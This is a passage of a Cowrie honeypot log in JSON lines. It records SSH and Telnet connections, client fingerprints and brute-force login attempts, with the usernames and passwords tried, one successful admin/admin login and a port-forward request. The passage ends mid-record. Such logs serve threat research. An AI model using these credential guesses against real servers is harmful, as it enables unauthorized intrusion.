{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:40:10.868384Z","src_ip":"87.251.64.176","session":"8c712d3486d8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:40:11.157082Z","src_ip":"87.251.64.176","session":"8c712d3486d8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:40:11.257085Z","session":"8c712d3486d8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:40:11.356044Z","src_ip":"87.251.64.176","session":"8c712d3486d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:40:11.456573Z","src_ip":"87.251.64.176","session":"8c712d3486d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"120.28.109.188","src_port":47284,"dst_ip":"159.203.135.109","dst_port":22,"session":"9145249885d7","protocol":"ssh","message":"New connection: 120.28.109.188:47284 (159.203.135.109:22) [session: 9145249885d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:40:15.436381Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:40:15.441925Z","src_ip":"120.28.109.188","session":"9145249885d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:40:15.701779Z","src_ip":"120.28.109.188","session":"9145249885d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Password01!","message":"login attempt [ubuntu/Password01!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:40:16.773409Z","src_ip":"120.28.109.188","session":"9145249885d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:40:18.044126Z","src_ip":"120.28.109.188","session":"9145249885d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.57491731643677,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:40:37.237194Z","src_ip":"128.199.8.54","session":"c03bc8766f08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.33","src_port":35272,"dst_ip":"159.203.135.109","dst_port":22,"session":"48dfd26de721","protocol":"ssh","message":"New connection: 31.57.216.33:35272 (159.203.135.109:22) [session: 48dfd26de721]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:40:45.725261Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:40:45.730302Z","src_ip":"31.57.216.33","session":"48dfd26de721","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.33","src_port":35286,"dst_ip":"159.203.135.109","dst_port":22,"session":"123250dbaf19","protocol":"ssh","message":"New connection: 31.57.216.33:35286 (159.203.135.109:22) [session: 123250dbaf19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:40:45.899811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:40:45.904563Z","src_ip":"31.57.216.33","session":"123250dbaf19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:40:46.007946Z","src_ip":"31.57.216.33","session":"123250dbaf19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"198507180722148621","message":"login attempt [root/198507180722148621] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:40:46.356312Z","src_ip":"31.57.216.33","session":"123250dbaf19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:40:47.482267Z","src_ip":"31.57.216.33","session":"123250dbaf19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":60242,"dst_ip":"159.203.135.109","dst_port":23,"session":"5788b53fa32e","protocol":"telnet","message":"New connection: 128.199.8.54:60242 (159.203.135.109:23) [session: 5788b53fa32e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:41:06.873205Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":34228,"dst_ip":"159.203.135.109","dst_port":23,"session":"759d3063c473","protocol":"telnet","message":"New connection: 128.199.8.54:34228 (159.203.135.109:23) [session: 759d3063c473]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:41:07.879554Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":38016,"dst_ip":"159.203.135.109","dst_port":23,"session":"72adc7977abb","protocol":"telnet","message":"New connection: 128.199.8.54:38016 (159.203.135.109:23) [session: 72adc7977abb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:41:10.911820Z"}
{"eventid":"cowrie.session.connect","src_ip":"120.28.109.188","src_port":41660,"dst_ip":"159.203.135.109","dst_port":22,"session":"973596bbff7c","protocol":"ssh","message":"New connection: 120.28.109.188:41660 (159.203.135.109:22) [session: 973596bbff7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:41:15.084190Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:41:15.089266Z","src_ip":"120.28.109.188","session":"973596bbff7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:41:15.348488Z","src_ip":"120.28.109.188","session":"973596bbff7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgresuser","message":"login attempt [postgres/postgresuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:41:16.418699Z","src_ip":"120.28.109.188","session":"973596bbff7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:41:17.681542Z","src_ip":"120.28.109.188","session":"973596bbff7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":54924,"dst_ip":"10.17.0.5","dst_port":22,"session":"5232c2a10eac","protocol":"ssh","message":"New connection: 103.15.226.202:54924 (10.17.0.5:22) [session: 5232c2a10eac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:41:24.176183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:41:24.180654Z","src_ip":"103.15.226.202","session":"5232c2a10eac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:41:24.561190Z","src_ip":"103.15.226.202","session":"5232c2a10eac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa123456","message":"login attempt [root/aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:41:25.298294Z","src_ip":"103.15.226.202","session":"5232c2a10eac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:41:26.550034Z","src_ip":"103.15.226.202","session":"5232c2a10eac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":63523,"dst_ip":"10.17.0.5","dst_port":23,"session":"05e60721ad5a","protocol":"telnet","message":"New connection: 212.55.149.117:63523 (10.17.0.5:23) [session: 05e60721ad5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:41:37.250065Z"}
{"eventid":"cowrie.session.closed","duration":33.98173999786377,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:41:40.854813Z","src_ip":"128.199.8.54","session":"5788b53fa32e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.309194803237915,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:41:41.188615Z","src_ip":"128.199.8.54","session":"759d3063c473","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.31731939315796,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:41:43.229063Z","src_ip":"128.199.8.54","session":"72adc7977abb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":7265,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b139b0ac07e","protocol":"telnet","message":"New connection: 212.55.149.117:7265 (10.17.0.5:23) [session: 9b139b0ac07e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:41:45.577816Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":5456,"dst_ip":"159.203.135.109","dst_port":22,"session":"b99019980915","protocol":"ssh","message":"New connection: 2.57.121.112:5456 (159.203.135.109:22) [session: b99019980915]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:41:56.476468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:41:56.481041Z","src_ip":"2.57.121.112","session":"b99019980915","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:41:56.581981Z","src_ip":"2.57.121.112","session":"b99019980915","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ou8124me","message":"login attempt [admin/ou8124me] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:41:57.063491Z","src_ip":"2.57.121.112","session":"b99019980915","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00188040733337,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:41:57.961953Z","src_ip":"212.55.149.117","session":"6a844911bd09","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ostrov","message":"login attempt [admin/ostrov] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:41:58.170983Z","src_ip":"2.57.121.112","session":"b99019980915","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"oshkosh","message":"login attempt [admin/oshkosh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:41:59.275021Z","src_ip":"2.57.121.112","session":"b99019980915","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"osborn","message":"login attempt [admin/osborn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:42:00.379967Z","src_ip":"2.57.121.112","session":"b99019980915","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"origami","message":"login attempt [admin/origami] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:42:01.485774Z","src_ip":"2.57.121.112","session":"b99019980915","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:42:02.591870Z","src_ip":"2.57.121.112","session":"b99019980915","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"120.28.109.188","src_port":40554,"dst_ip":"159.203.135.109","dst_port":22,"session":"c667c9681b9d","protocol":"ssh","message":"New connection: 120.28.109.188:40554 (159.203.135.109:22) [session: c667c9681b9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:42:19.130124Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:42:19.134774Z","src_ip":"120.28.109.188","session":"c667c9681b9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"